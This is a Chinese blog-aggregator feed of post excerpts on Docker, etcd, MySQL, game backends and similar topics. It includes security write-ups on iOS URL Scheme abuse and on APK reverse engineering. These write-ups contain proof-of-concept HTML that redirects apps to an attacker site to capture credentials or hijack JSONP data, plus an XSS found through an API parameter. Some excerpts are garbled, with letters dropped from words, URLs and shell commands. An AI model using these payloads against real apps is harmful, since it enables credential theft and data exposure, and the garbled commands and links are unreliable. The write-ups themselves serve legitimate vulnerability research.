- 博客 Jiajun的编程随想 2018-12-26 08:00:00《删除分区表》之前删除分区表，都是用很傻的方式，例如，gparted一个一个分区删掉，然后最后把分区表删了，或者是fdisk去删除。但是！读一下 [GPT](https://zh.wikipedia.org/wiki/GUID%E7%A3%81%E7%A2%9F%E5%88%86%E5%89%B2%E8%A1%A8) 的维基百科定义，就会发现...
- 博客 Jiajun的编程随想 2018-12-24 08:00:00《YouCompleteMe ycmd server SHUTDOWN 和 pyenv的问题》周末手欠，`pip uninstall` 的时候不小心接了个pip在后面，结果虚拟环境里的pip就没了。那当然是重新装一个就好了：`pyenv install 3.7.0`，但是此后YouCompleteMe一直挂，有时候又不挂。终于找到了原因...
- 博客 Jiajun的编程随想 2018-12-24 08:00:00《Docker组件介绍（二）：shim, docker-init和docker-proxy》[上一篇](https://jiajunhuang.com/articles/2018_12_22-docker_components.md.html) 文章中，我们简单的介绍了 `runc`和`containerd`。这一篇文章中，我们分别看看 `docker-containerd-shim`, `docker-init` 和 `docker-proxy` 的作用...
- 博客 轶哥博客 2018-12-22 12:08:09<>这是一个基于阿里云实时语音转写实现的桌面字幕。<>代码实现非常简单，根据阿里云开发文档里面的demo代码复制粘贴就完成了。使用
JavaFx实现透明窗口 + Lael。<>实时语音识别的效果不错，可以用于录制教学视频。<>源代码：htt://githu.com/yi-ge/dekto-utitle - 博客 Jiajun的编程随想 2018-12-22 08:00:00《Docker组件介绍（一）：runc和containerd》> TL;DR: 主要介绍了Docker的各个组件：`runc`, `containerd`, `shim`, `docker-init`, `docker-proxy`。最近在研究Docker，为 [我自己的容器编排系统](https://github.com/jiajunhuang/huang) 做知识储备工作。初次接触到Docker是在大二的时候...
- 博客 Randy's Blog 2018-12-19 08:00:001801
- 博客 Jiajun的编程随想 2018-12-16 08:00:00《Prometheus MySQL Exporter源码阅读与分析》常见的消息订阅模式有两种情形，一种是推，即产生一条消息时，即刻推送给所有客户端（或者对应的DB存储下来）；另外一种是拉，即产生一条消息时，并不做任何动作，而是当真正需要数据时，再去生成。对应到实际编程中，也有类似的概念，例如，实时计算vs延迟计算(lazy evaluation)...
- 博客 Jiajun的编程随想 2018-12-13 08:00:00《MySQL性能指标》最近在魔改MySQL性能收集器 [mysqld-exporter](https://github.com/prometheus/mysqld_exporter)，接触到一些MySQL常见的性能指标，好好地记录下来学习学习：`SHOW GLOBAL STATUS` 中...
- 博客 Jiajun的编程随想 2018-12-12 08:00:00《使用Dropbox来备份服务器文件》服务器一直都没有备份，上面其实还有数据库，[Dropbox](https://db.tt/8enuh0Mf)这么好用的东西，当然就用它了，当然了，我的数据库里没有机密信息，但是又要保证不丢，所以符合使用 [Dropbox](https://db.tt/8enuh0Mf) 来备份的要求...
- 博客 Jiajun的编程随想 2018-12-10 08:00:00《《计算机网络-系统方法》读书笔记》> https://book.systemsapproach.org/- 网络设计者需要考虑的三个主要问题...
- 博客 Jiajun的编程随想 2018-12-08 08:00:00《Y Combinator《如何创业》笔记》> https://www.bilibili.com/video/av6612058/?p=2> https://www.youtube.com/watch?v=CBYhVcO4WgI&list=PL11qn6zM2Y3bMZdChxEqHKaCaKUjwItGL...
- 博客 Vulkey_Chen's Blog 2018-12-08 00:00:00
前言
iOS URL Schemes，这个单词对于大多数人来说可能有些陌生，但是类似下面这张图的提示大部分人应该都经常看见：
今天要探究的就是：了解iOS URL Schemes、如何发现iOS URL Schemes、iOS URL Schemes结合漏洞案例。
iOS URL Schemes
基本概念
抛开iOS从URL Schemes的字面意思理解，就是地址协议（Scheme一般用来表示协议，比如 http、https、ftp 等），我们所熟知的HTTP协议的URL格式就是：
http(s)://user:pass@host:port/path?query举个例子：
http://gh0st.cn/，在浏览器输入这个地址，浏览器是使用HTTP协议向 gh0st.cn 请求，请求的资源就是 / 。再来看一下iOS URL Schemes的一个例子：
weixin://，你在Safari浏览器(Mobile)输入这个网址就会提示你在"微信"中打开链接吗？，然后由你选择”取消”或”打开”；和HTTP协议格式的URL访问流程进行对比，iOS URL Schemes 实际上就是启动一个应用的 URL，其访问流程是这样的：浏览器输入"weixin://" -> iOS识别URL Schemes ->询问是否跳转到微信 -> 确认跳转 -> 从浏览器跳转到微信端那么问题就来了，以上所述流程中的”iOS识别URL Schemes“，iOS如何识别这段URL Schemes？iOS官方要求的是APP开发者需要自己定义自己APP的”URL Schemes”，只有APP本身定义(支持)了URL Schemes，iOS才会去识别然后跳转。
定义
一个完整的 URL Schemes 应该分为 Scheme、Action、Parameter、Value 这 4 个部分，中间用冒号
:、斜线/、问号?、等号=相连接。举个例子：
mst://jump?url=https://gh0st.cn/&title=test，它对应的4部分就是如下所示：Scheme（头）:
mst、Action（动作）:jump、Parameter（参数）:url、title、Value（值）:https://gh0st.cn、test不同的部分之间有符号相连，它们也有一定的规则(和URL部分规则是一样的)：
-
冒号
:：在链接头和命令之间； - 双斜杠
//：在链接头和命令之间，有时会是三斜杠///； - 问号
?：在命令和参数之间； - 等号
=：在参数和值之间； - 和符号
&：在一组参数和另一组参数之间。
理解
以上述所举的例子：
mst://jump?url=https://gh0st.cn/&title=test，来简单的说明下这段URL Scheme所产生的效果：1.跳转到”mst”所对应的APP
2.在APP中执行jump动作（跳转网站）
3.告诉APPjump动作所需的
url和title参数，对应的值分别为https://gh0st.cn/和test可以理解为在APP应用中访问
https://gh0st.cn/，网页标题为test。寻找iOS APP的URL Schemes
当你学会了如何寻找APP的URL Schemes，你就算发现了半个漏洞。
获取IPA包
基本的URL Schemes可以在iOS APP中的Info.plist文件中寻找到，而一般你是无法获取到APP的ipa包的，所以需要借助软件获取到这个包。
前提是你需要这两台设备：MacBook、iPhone，如果你只拥有一台iPhone的话也有办法去获取（需要Thor APP，具体方法自行寻找）。
Mac上先安装Apple Configurator 2，然后你需要在该软件中登录你的Apple账户：
使用iPhone充电线将手机连接Mac，这时候软件中就会显示已经连接Mac的设备：
假设你需要获取微信的URL Schemes，那么你的手机已经安装过了微信，然后使用该软件进行添加，选中设备点击添加按钮，选择应用：
搜索微信，选中添加：
当你下载完成看见如下提示的时候，在Finder中按快捷键
Command+Shift+G，输入~/资源库/Group Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps/
软件下载的微信ipa文件就存在该文件夹中：
进入文件夹将ipa文件复制到其他地方：
然后回到Apple Configurator 2的提示，点击停止即可。
获取基本URL Schemes
将IPA包后缀名修改为ZIP，然后解压，进入Payload目录会看见一个.APP后缀名文件，选中文件右击显示包内容：
找到Info.plist文件并打开，搜索关键词
URLSchemes：
被
String标签所包含的就是微信的URL Schemes：<string>wexinVideoAPI</string> <string>weixin</string> <string>weixinapp</string> <string>fb290293790992170</string> <string>wechat</string> <string>QQ41C152CF</string> <string>prefs</string>寻找完整URL Schemes
如上已经了解了如何获取最基本的URL Schemes，但是这远远不够，因为完整的URL Schemes有4部分，而目前只找到了第一部分，仅仅能做到的功能就是启动，而想找到更多的非基本URL Schemes需要其他的方法。有很多方法在这里不一一例举了，只例几个常见的思路供你参考。
从手机站点页面获取
一般网站都会有这些子域名：m\h5\mobile…
打开这些子域名，利用Chrome的开发者工具(F12)切换为手机模式视图，这样就能模拟手机去访问了：
那在这里可以在该页面的HTML代码中寻找URL Schemes（前提是你已经知道了基本的URL Schemes）
在这里我从页面的JavaScript代码中发现了很多URL Schemes：
有些还有参数，可以根据命名来猜这些URL Schemes的含义，例如
path: "mst://jump/core/web/jump"，就可以知道这个是做Web跳转的，那跳转到哪个地址是什么参数控制呢？下面也有对应的告诉我们是url参数去控制，也就组成了这样一个URL Scheme:mst://jump/core/web/jump?url=https://gh0st.cnQRLCode解析地址获取
现在很多网站都支持二维码登录，就比如如下这个网站：
保存该二维码进行二维码解析：
解析得出这是一个URL Scheme，修改json参数url的值为我的网站尝试在浏览器中打开成功的触发了跳转APP，并且在APP中访问了我的网站。
逆向APP
不仅是iOS，安卓也支持URL Schemes，而一般的定义是一样的，所以你可以基于
获取基本URL Schemes这个步骤将.APP文件的后缀去掉，这时候这个文件就变成了一个文件夹拖到Sublime里面全局搜索”weixin://“即可。至于安卓的APK的逆向可以参考我之前的一篇文章< 打造Mac下APK逆向环境到实战接口XSS挖掘 >，可以在源代码中、所有文件内容中搜索URL Schemes。
漏洞案例
APP内URL跳转问题
其实严格来讲这不算是漏洞，毕竟利用有限，但又和一切能产生危害的问题都算漏洞这句话所冲突，所以在这还是选择列了出来，至于厂商觉不觉得是个安全性问题，还要看他们对“安全风险“的定义。
如何发现这类问题？在上文中我提到了如何发现URL Schemes，只要你发现了这种类型的URL Schemes就可以尝试替换地址为你的地址然后使用浏览器打开查看是否能在APP内跳转到你的地址，当然利用方式也很简单，构建一个HTML页面即可，然后将网址发送给“受害者”即可：
<script> window.location='URL Schemes'; </script>凭证窃取（设计不当）
在做一次漏洞挖掘的时候也碰见了很多次这种问题，大概的描述下就是我找到了能在APP中打开网页的入口方式（例如：二维码扫描、URL Schemes动作），让APP访问到我的地址，这样我就可以直接获取到APP中登录后的凭证信息。
利用方式和URL跳转的方式是一样的；关于这方面漏洞产生原理得出一个可能“不太严谨的结论”：APP在做HTTP请求的时候默认所有访问的都是信任域，所以带上了本身已经登录的凭证去请求了。
结合漏洞扩大攻击面
在一次APP的漏洞挖掘中发现了一个JSONP劫持的问题，但是在这里只会对APP用户产生影响，在没有二维码扫描的情况下就需要结合URL Schemes来扩大这个漏洞的影响面，而不是局限于self。
利用流程：
用户打开https://gh0st.cn/test.html，test.html内容：
<script> window.location='mst://jump?url=https://gh0st.cn/jsonp.html'; </script>用户点开之后启动
mst应用执行jump动作，跳转到https://gh0st.cn/jsonp.html，jsonp.html内容：<script>function test(data){ document.write(JSON.stringify(data)) }</script> <script src="JSONP URL"></script>URL Schemes劫持
这个漏洞是15年在乌云爆出来的，漏洞编号为：wooyun-2015-0103233，大家可以自行去查看。
这个问题说白了是一个流程上的缺陷，苹果官方没有限制APP定义的URL Schemes名字，导致其他APP也可以定义“支付宝”的URL Schems名字；又因为iOS系统判定URL Schemes优先级顺序与 Bundle ID 有关（一个 Bundle ID 对应一个应用），如果有人精心伪造 Bundle ID，iOS 就会调用恶意 App 的 URL Schemes 去接收相应的 URL Schemes 请求，这就导致了可以被劫持。
结尾
还有很多思路等着我们去探寻，此文仅做思路启发。
Reference:
https://sspai.com/post/31500
https://sspai.com/post/44591
WooyunBugID:wooyun-2015-0103233
-
- 博客 轶哥博客 2018-12-07 18:10:07<>因某些原因需要重装
Racher 2，本想着运行在docker中的系统应该很容易重装。但是重装后出现了很多报错。<>一个Racher集群需要Etcd、Cotrol、Worker三个角色都正常运行，该集群才能正常工作。其中Worker代表执行任务的服务器，Etcd和Cotrol服务至少部署一个。<>重装后Etcd、Cotrol服务均出现报错。报错详情
<>其中Cotrol则是kue-aierver容器报Uale to create torage，报错类似： - 博客 Jiajun的编程随想 2018-12-01 08:00:00《Go类型嵌套》Go没有继承，但是有类型嵌套，主要有三种使用方式，使用类型嵌套，wrapper可以自动获得被嵌套类型的所有方法。接下来我们分别看三种情况下的例子...
- 博客 Jiajun的编程随想 2018-11-28 08:00:00《etcd源码阅读与分析（五）：mvcc》[MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) 是数据库中常见的一种并发控制的方式，即保存数据的多个版本，在同一个事务里，应用所见的版本是一致的...
- 博客 Jiajun的编程随想 2018-11-27 08:00:00《etcd源码阅读与分析（四）：lease》lease是租约，类似于Redis中的TTL(Time To Live)。可以看一下怎么使用lease：```go...
- 博客 Jiajun的编程随想 2018-11-26 08:00:00《干了这碗叔本华牌毒鸡汤 --- 《人生的智慧》》如果说一般的心灵鸡汤有毒，那么叔本华的鸡汤就是剧毒。为什么呢？作为读者，你会无时不刻感觉到：这特么说的不就是我么？怎么和我想的一样？毕竟，这书看起来是叔本华写给聪明人看的。来，今天我们一起干了这碗毒鸡汤...
- 博客 王子亭的博客 2018-11-25 01:00:00
蛋黄总说我过去二十几年过得顺风顺水，想想也是，虽然有小的波折，但并没有什么让我后悔的事情。我觉得这当然有运气的成分，但和我个人的选择也是分不开的。
在大家抱怨学校生活时，我就想找一个彻底的方式来摆脱学校的限制，于是后来我退学了；在大家抱怨工作不称心的时候，我就想着一定要去一家能让我开心地工作的公司，于是我找到了番茄土豆和 LeanCloud；现在我仍在听着大家抱怨着生活中的种种，于是我也在准备着一个能够彻底摆脱这些问题的计划。
对于这个选择我的心情非常复杂，既有期待也有不安；既怪自己行动得太晚了，但也明白是遇到了蛋黄才让我有了勇气和决心来准备移民。在我们刚刚在一起的时候其实就已经有了这个想法，也在陆续做着准备，在过去的一年中，整个路线逐渐清晰了起来，我们也越来越期待成功的那一天，这将会是我下一个重要的选择。
国内就总喜欢黑高福利国家人们不好好工作、人力成本高的要死，黑民主国家办事效率低、办不成大事。但我现在越来越觉得，这也许才是一个稳定的国家的常态，充分保障个人的自由、甚至说保障人们「不求上进」的自由，平衡各方的利益，这样才能带来稳定。
随着一开始的「矜持」被放下，这一年中我们吵得确实比刚在一起的几个月要多得多。但我和蛋黄已经为未来做了这么多规划了，虽然大大小小的分歧吵闹不断，但我还是相信我们会一直走下去。年初我在知乎上回答了一个 关于完美女朋友的问题，也为自己找到了「完美女朋友」而高兴 —— 当然我现在也是。但还有一点我比较关心的是，蛋黄还没找到工作，我觉得工作是生活中很重要的一部分，我希望她也能找到一个愿意为之投入，也能获取合理的收入的工作。另外我觉得人在开始工作之后可能对于很多事情的看法会有一个比较大的转变，对这种转变我还是期待更多一点，我觉得那时她会更能够理解我的一些想法。
在 LeanCloud 工作三年了，期间也有人问我要不要考虑其他的工作机会，我想了一下，继续留在 LeanCloud 大概是因为这里的工作既「稳定」又「充满挑战」。这么说也许看似矛盾，但我说的稳定是指，这里的工作全部围绕着 LeanCloud 这个云平台 —— 更具体来说是围绕着云引擎，它本身已经是一个相对稳定的系统了，有着不小的用户量，需要以严肃的态度去对待每一个改动；充满挑战是指围绕这个大的方向，还是可以做很多有趣的尝试的，工作的方向和内容并没有受到限制，而且我会感觉到我个人的决定，对公司的产品是有着直接的影响的。
- 博客 轶哥博客 2018-11-24 23:35:41<>利用RK3399作为ARM微型服务器是非常有趣的事情。然而总有一些意外来得令人措手不及。<>事情是这样的。我在服务器中挂载了三块SSD硬盘，其中两块是放于USB硬盘盒，通过Tye-C和USB3.0接口连接。
开机自动挂载
<>我们先看一下开机自动挂载方案。<>查询分区的Block ID：lkid /dev/da1/dev/da1: UUID=quot7f50f85e-783c-4d94-e37-d2c662504e58quot TYPE=quotext4quot/etc/fta文件中，这是我的fta文件：UUID=a848d601-91ac-45c-8ce3-ffef674f5dd5 /vme ext4 default 0 0UUID=88e8df2-1a8f-4f38-acc9-566de1c8f40 /tf ext4 default 0 0UUID=7f50f85e-783c-4d94-e37-d2c662504e58 /d0 ext4 default 0 0UUID=e66307fc-2c33-406-ae60-27e2344d02a /d1 ext4 default 0 0事情是这样开始的
<>我在检查硬盘状态的时候，发现其中一块硬盘没有进行4k对齐。然后我对该硬盘进行了重新分区。结果服务器就卡死了！?<>当我重启服务器后，一直连不上SSH。<>插入HDMI，显示器一片黑暗！<>如果是X86架构的服务器，挂载/etc/fta失败后会进入高级模式，可以通过接入显示器解决，但是ARM架构（或者说我这块板子）的系统并没有提供这样的后悔药。<>x86系统可以进入光盘Liux，然后挂载硬盘改写/etc/fta文件。但是我的系统烧写在eMMC，即便能在SD卡刷机，通过SD卡引导系统并挂载eMMC硬盘也是非常有挑战的事情。 - 博客 Jiajun的编程随想 2018-11-24 08:00:00《etcd源码阅读与分析（三）：wal》今天来看看WAL(Write-Ahead Logging)。这是数据库中保证数据持久化的常用技术，即每次真正操作数据之前，先往磁盘上追加一条日志，由于日志是追加的，也就是顺序写，而不是随机写，所以写入性能还是很高的。这样做的目的是，如果在写入磁盘之前发生崩溃，那么数据肯定是没有写入的，如果在写入后发生崩溃，那么还是可以从WAL里恢复出来...
- 博客 Jiajun的编程随想 2018-11-24 08:00:00《Memory leak in net/http》> English is not my mother languange, help me to improve this if you'd like, thanks!## What happened?...
- 博客 Jiajun的编程随想 2018-11-22 08:00:00《etcd源码阅读与分析（二）：raft》今天讲的是 `raft` 这个文件夹下的内容。我觉得etcd的代码写得不够好，当然，也有可能是因为我外行，不过这只是我的感受，不喜勿喷。首先要看一下 `doc.go` 这个文件，里面写了很多注释，有利于理解，此外看 `raft` 文件夹下的代码，结合上一篇所说的raftexample一起来...
- 博客 王子亭的博客 2018-11-22 01:00:00
当我们公司决定推出一个「多人在线游戏后端解决方案」的时候，我其实很疑惑会有一个「通用」的方案可以解决所有在线游戏的后端需求么？
于是在前一段时间，我尝试开发了一个「多人在线卡牌对战游戏」，支持了「斗地主」游戏规则的一个子集，可以在 play-cards.leanapp.cn 访问到，源代码在 jysperm/play-cards。不过请不要指望能够匹配到其他玩家 —— 你需要自己开三个窗口，通过左右手互搏的方式来体验游戏，下面是一个演示视频：
动作同步和状态同步
其实这个游戏的关键就是在多个客户端之间来同步数据、实现联机游戏，为此我先了解了一下业界总结出的两种同步模型：「动作同步」和「状态同步」。
在动作同步（帧同步）中：
- 客户端发送操作，服务器只转发客户端的操作
- 游戏逻辑主要在客户端运行（通常客户端需要掌握所有数据）
- 延迟低，适合 RTS、MOBA、FPS
- 可以让所有客户端有一个完全一致的时间轴
游戏状态的计算必须是确定的，不能有随机数，这样才能保证不同的客户端在应用相同的一系列动作之后能够得到相同的状态（游戏画面）。
在状态同步（C/S 同步）中：
- 客户端发送操作，服务器转发计算后的游戏状态
- 游戏逻辑主要在服务器运行（可以只向客户端发送部分数据）
- 易于反作弊，适合 MMORPG、回合制（卡牌）游戏
因为游戏逻辑需要运行在服务器，所以服务器程序还是必不可少的。
选型
因为这是一个实验性质的项目，因此我想同时实现这两种同步模式来进行对比。在这里我挑选了一个回合制、属于非对称博弈的卡牌游戏作为游戏的内容。
我首先实现了动作同步，在动作同步中服务器几乎不需要做什么事情，只是作为一个「消息服务」来转发客户端的动作。于是我在这里使用了 LeanCloud Play 来完成这个消息转发的工作，每局游戏对应 Play 中的一个 Room，Play 允许客户端在房间中向其他玩家广播消息。
然后我又尝试将这个游戏改为了状态同步 —— 我引入一个运行在服务器上的特殊客户端（称为 MasterClient）。这个客户端中同样连入 Play 的消息服务，其中运行着完整的游戏逻辑，它将其他真正玩家的动作作为输入，然后输出游戏状态给其他真正玩家的客户端来展示，防止客户端作弊。
动作和状态
前面我提到业界已经总结出了两种同步模式，即动作同步和状态同步，「动作（Action）」和「状态（State）」这两个概念会贯穿这篇文章。
动作即玩家对于游戏的「输入」，可以是按键、点击，或者更抽象的动作，例如在这个游戏中我定义了两种动作 —— 出牌和放弃出牌：
type GameAction = PlayCardsAction | PassActioninterface PlayCardsAction { action: 'playCards' player: Player cards: Card[]}interface PassAction { action: 'pass' player: Player}状态即用来表示整个游戏局势所需的所有数据，例如在这个游戏中：
export interface GameState { players: Player[] playersCardsCount: PlayersCardsCount myCards: Card[] previousCards: Card[] previousCardsPlayer?: Player currentPlayer?: Player winer?: Player}游戏抽象
有了动作和状态的概念，我们就可以对游戏进行一个抽象了，我设计了一个 Game 类，是对一局游戏整个生命周期的封装，这个类将会同时运行于客户端和服务器：
// 事件：action（当前玩家的动作）、stateChanged（游戏状态变化）、errorclass Game extends EventEmitter { constructor(seed: string, players: Player[]) // 获取游戏状态（供 UI 调用） public getState(player: Player): GameState // 设置游戏状态（状态同步时），会触发 stateChanged 事件 public setState(player: Player, state: GameState) // 当前玩家执行动作，会触发 action 事件 public performAction(action: GameAction) // 应用其他玩家的动作（动作同步时） public applyAction(action: GameAction)}在客户端中，当 UI 捕捉到用户的输入时，执行
Game.performAction，动作（Action）的执行会改变状态（State），触发 stateChanged 事件，UI 收到这个事件后根据新的游戏状态来重绘 UI。至于其他游戏逻辑则主要是关于「一组牌能够管得上另一组牌」的判断，在此不再罗列。
结构
在这个游戏中，我们将消息转发（由 LeanCloud Play 提供）视作一项服务、视作一个中心。所有玩家的客户端都连接到消息转发服务上，同时每局游戏我们还需加入一个运行在服务器上的 MasterClient 来提供特殊的管理能力。
为了将两种同步模式做成可简单替换的，我其实将服务器程序作为了一个必选组件（
master-client目录），但这个服务器程序在动作同步中只是负责创建房间（可以移到客户端），并不参与游戏逻辑。我的代码分为 3 个部分：
common├── game.ts└── types.tsbrowser-client├── app.tsx└── client-sync.tsmaster-client├── server-sync.ts└── server.tscommon部分会同时运行在服务器和客户端，包含游戏的核心逻辑browser-client是运行在浏览器中的客户端，包含 UImaster-client是运行在服务器端中的 MasterClient
动作同步
我首先实现的是动作同步（
client-sync.ts和server-sync.ts中的 actionSyncController），这种模式下客户端发送动作（Action），服务器只转发动作，游戏逻辑主要在客户端运行，客户端掌握所有的数据（包括其他玩家的手牌）。客户端的工作：
game.on('action')时（表示用户在 UI 上进行了一个动作），通过 Play 将动作广播给其他客户端play.sendEvent(action)play.on('customEvent')时（表示收到其他客户端广播的动作），应用其他玩家的动作game.applyAction(action)
而服务器端几乎没有什么工作，只是帮助客户端创建一个房间而已。
状态同步
在状态同步（
client-sync.ts和server-sync.ts中的 statusSyncContorller）中，客户端发送动作（Action），服务器运行游戏逻辑后，转发计算后的游戏状态（State），游戏逻辑主要在服务器运行，客户端只做展现，只知道自己的手牌。客户端的工作：
game.on('action')时（表示玩家在 UI 上进行了一个动作），通过 Play 将动作单独发送给 MasterClientplay.sendEvent(action)（需加参数{receiverGroup: ReceiverGroup.MasterClient}）play.on('customEvent')时（表示收到 MasterClient 广播的最新状态），从服务器覆盖游戏状态game.setState(state)
MasterClient 在服务器的工作：
- 为每局游戏创建一个 Game 对象。
play.on('customEvent')时（表示玩家进行了一个操作），在游戏对象上执行动作game.performAction(action)game.on('stateChanged')时，给每一个玩家发送最新的游戏状态play.sendEvent(state)
复用代码
在完成这个实验性质的项目后，我们需要来思考一下，哪些代码是可以复用的。
- Game 类为一个游戏的过程提供了一个非常基本的抽象（即通过动作去改变状态），也为数据同步提供了基础的支持（action 事件和 stateChanged 事件）。
- MasterClient 中对房间的管理是通用的，并且还有很大的改善空间，比如支持多实例允许并实现负载均衡等。
我将我使用的这种开发多人在线游戏的方式称之为 MasterClient 模式，它的好处是：
- 在服务器和客户端之间复用大部分的游戏逻辑 如果你像我一样使用 JavaScript 的话，那么可以在服务器和客户端运行完全相同的代码。
- 单机游戏 => 动作同步 => 状态同步 的迁移过程非常平滑 只要一开始能够区分好动作和状态，那么这个迁移的过程中只需改动少数代码。
- 服务器端的游戏逻辑和消息转发服务解耦 消息转发服务可以更加稳定；MasterClient 则可以更快速地迭代。
- 符合开发者直觉 至少我作为一个游戏开发的小白是觉得挺符合直觉的
Play & Client Engine
在我完成这个项目的过程中，我也不断地与公司的同事保持着沟通，经过几个月的努力，LeanCloud 在 Play 基础上发布了 Client Engine —— 一个用于托管 MasterClient 的容器平台（类似于云引擎），同时我们也提供了一个项目骨架，集成了我前面提到的功能，帮助开发者实现服务器端逻辑：
- 游戏抽象 提供了一个类似的 Game 类来帮助开发者管理房间和玩家、填充游戏逻辑，在 Play 的基础上提供 RxJS 风格的高层次 API 来操作游戏动作和状态。
- 负载均衡 提供了一个 GameManager 类来管理房间的创建，允许 Master Client 以多实例的集群模式运行，以便进行横向扩展，消除容量瓶颈。
- 平滑部署 当你部署新版本的时候，旧实例会等待已有的房间完成游戏再退出，你可以在任何时候部署新的版本而不必担心影响用户的游戏。
我的这个项目早于 Client Engine 成型，是对通用游戏后端的一个实验。如果你希望编写类似的游戏，请阅读 Client Engine 的文档，并基于 Client Engine 的脚手架来进行开发，而不要直接基于本项目修改。
小结
本文探索的是一种「通用游戏后端」的解决方案，在这个小项目中我们用到了两个 LeanCloud 的服务：Play 和 Client Engine。
- LeanCloud Play 扮演的是一个「消息转发服务」，它会维持与所有客户端（包括 Master Client）的长链接，允许客户端之间广播或单发消息。
- LeanCloud Client Engine 提供了一个可信的服务器端环境来运行客户端 —— 在本文的例子中是 MasterClient，可以将游戏逻辑运行在服务器端来实现反作弊。
借助这两个服务，我们将对游戏服务器的开发需求降到了最低，只需编写运行于服务器端的游戏逻辑即可，而不必关心链接的保持、消息的转发和服务器环境和扩容等问题。
- 博客 Jiajun的编程随想 2018-11-20 08:00:00《etcd源码阅读与分析（一）：raftexample》> 开始读etcd的源代码，今天首先来看的是 raftexample，这是一个基于 raft 的简单内存KV，希望通过 raftexample 能对 etcd 有一个大概的认识。首先看一下目录结构...
- 博客 Holmesian Blog 2018-11-18 09:30:00有几个Go的程序需要放在树莓派上跑，由于树莓派的性能太差、编译工具版本又低，想想还是在其他设备上编译好可执行文件直接拿来用方便，毕竟无需依赖的静态编译是Go的亮点嘛。Go对交叉编译的支持是极好的...
- 博客 Jiajun的编程随想 2018-11-18 08:00:00《虚拟机里的Ubuntu sudo时卡住》> https://serverfault.com/questions/38114/why-does-sudo-command-take-long-to-execute今天装了一个虚拟机，其他都很快，但是执行sudo的时候却非常的卡，要等好几秒钟，搜了一下，是这么个解决法，把主机名加到 `/etc/hosts` 里，原因是安装过程中，hostname没有追加到 `/etc/hosts` 里...
- 博客 Vulkey_Chen's Blog 2018-11-18 00:00:00
前言
想尝试逆向APK来发现一些接口和安全问题，但是Mac下没啥好用的APK逆向工具，于是我就参考文章：https://blog.csdn.net/jyygn163/article/details/71731786 的思路在Mac下使用homebrew安装：
brew install apktool brew install dex2jarJD-GUI去http://jd.benow.ca/下载，这里我是用的是jar版。
过程
自动化编译
手动敲命令太繁琐了，写个shell脚本一键化。
在
.bash_profile文件（环境变量）加入这个命令alias apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh"，这样当终端打开的时候就可以使用apkdec命令了，而脚本DeApkScript.sh的内容如下：apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd $1_dex/ && d2j-dex2jar *.dex功能实现如下：
- apktool获取资源文件
- 将apk文件重命名为zip文件
- 解压zip文件中的.dex文件
- 切换解压目录
- 将dex文件转换成jar文件
这样，最后只需要使用JD-GUI反编译JAR即可看见源码了。
实战
运行命令：
apkdec xxx.apk
首先对
classes-dex2jar.jar文件进反编译，但似乎在Mac下JD-GUI支持的不太好，所以我选择使用luyten（Download：https://github.com/deathmarine/Luyten/releases），如下是两张对比图：
漏洞挖掘
在luyten下使用Command+G快捷键全局搜索，搜索域名寻找接口（因为这个APP需要内部人员才能登录所以从正常的入口是无法找到接口进行漏洞挖掘的）
寻找了一番看见这样一个接口：
二话不说访问之，提示：
{"res_code":"-1008003","res_message":"参数错误","timeMillis":1542516229723}不懂Java的我一脸懵，但是天下语言都是互通的，大概的了解了代码的意思（可能理解的不到位，就不说出来误导了），于是找到这样一个函数：
从我的理解来看这个接口就是有这两个参数
appId、userName，于是加入GET请求参数中请求：Request: ?appId=123&userName=123 Response: {"res_code":"0","res_message":"成功","timeMillis":1542516495613,"extData":null,"data":[{"appId":"123","permissionTag":[""],"extData":null}]}其中appId的参数值返回在了页面中，该请求响应报文
Content-Type: text/html，所以尝试构建XSS，运气好，确实也存在XSS问题：
总结
学习、不断的学习。
- 博客 Jiajun的编程随想 2018-11-16 08:00:00《Raft论文阅读笔记》- Raft集群中，每个server只有三种状态：leader，follower，candidate（选举）。- follower不会主动发送消息，只会接受和响应消息。- leader处理所有的客户端请求，如果follower接收到客户端的请求，则转发给leader...
- 博客 Jiajun的编程随想 2018-11-16 08:00:00《Go访问私有变量》> 工程上当然不能这么干，所以这篇文章呢，just for fun :)Go语言里，小写的变量，包外不可访问...
- 博客 Jiajun的编程随想 2018-11-15 08:00:00《避免全局变量》> 睡觉前好像确实不应该想问题，大半夜的思维活跃睡不着了。当然，那只臭蚊子也有功劳，要是被我发现了我要灭了它。> 不过，既然睡不着，那就起来写篇博客...
- 博客 轶哥博客 2018-11-14 19:22:21
- 博客 轶哥博客 2018-11-14 16:27:47<>
利用Ngix可以最简单且高效解决跨域问题。 <>跨域是前后端分离开发中非常常见的问题。这个问题网上已经有非常多的答案，但大部分是编程框架里面添加CORS头。但无论用什么We框架，现已很难离开Ngix。因此直接在Ngix中处理跨域问题有得天独厚的优势，可以将OPTIONS请求拦截在API服务之前，节约服务器开销。<>简单说，跨域分为简单跨域和复杂跨域。<>简单跨域不会发送OPTIONS请求。<>复杂跨域会发送一个预检查OPTIONS请求。<>复杂跨域的条件是：- 非GET、HEAD、POST请求。
- POST请求的
Cotet-Tye不是alicatio/x-www-form-urlecoded,multiart/form-data, 或text/lai。 - 添加了自定义header，例如
Toke。
跨域请求浏览器会在Header中添加 Origi，通常情况下不允许用户修改其值。 - 博客 Vulkey_Chen's Blog 2018-11-14 00:00:00
短文件名
最近看见一些漏洞利用到了短文件名回想到之前发现的漏洞，发现自己对短文件名的原理一无所知，现在来一探究竟。
什么是短文件名
windows下的文件短名是dos+fat12/fat16时代的产物，又称为8dot3命名法，类似于PROGRA~1（目录）或者元素周~1.exe（文件）这样的名称。 8是指文件名或目录名的主体部分小于等于8个字符 ; 3是指文件名或目录名的扩展部分小于等于3个字符 ;中间以
.作为分割在FAT16文件系统中，由于FDT中的文件目录登记项只为文件名保留了8个字节，为扩展名保留了3个字节，所以DOS和Windows的用户为文件起名字时要受到8.3格式的限制。查看Windows下的短文件名：
可以看见图中的
123123~1.TXT，就是1231231231231231232.txt的短文件名表示。为什么现在Windows系统还存在短文件名这种表示？
从win95开始，采用fat32已经支持长文件名，但是为了保持兼容性，保证低版本的程序能正确读取长文件名文件，每当创建新文件或新目录时，系统自动为所有长文件名文件创建了一个对应的短文件名。使这个文件既可以用长文件名寻址，也可以用短文件名寻址。
短文件名命名方式
知道了什么是短文件名，再看如上文所贴图，图中文件
1231231231231231232.txt的短文件名就是123123~1.TXTWindows短文件名8dot3命名规则：
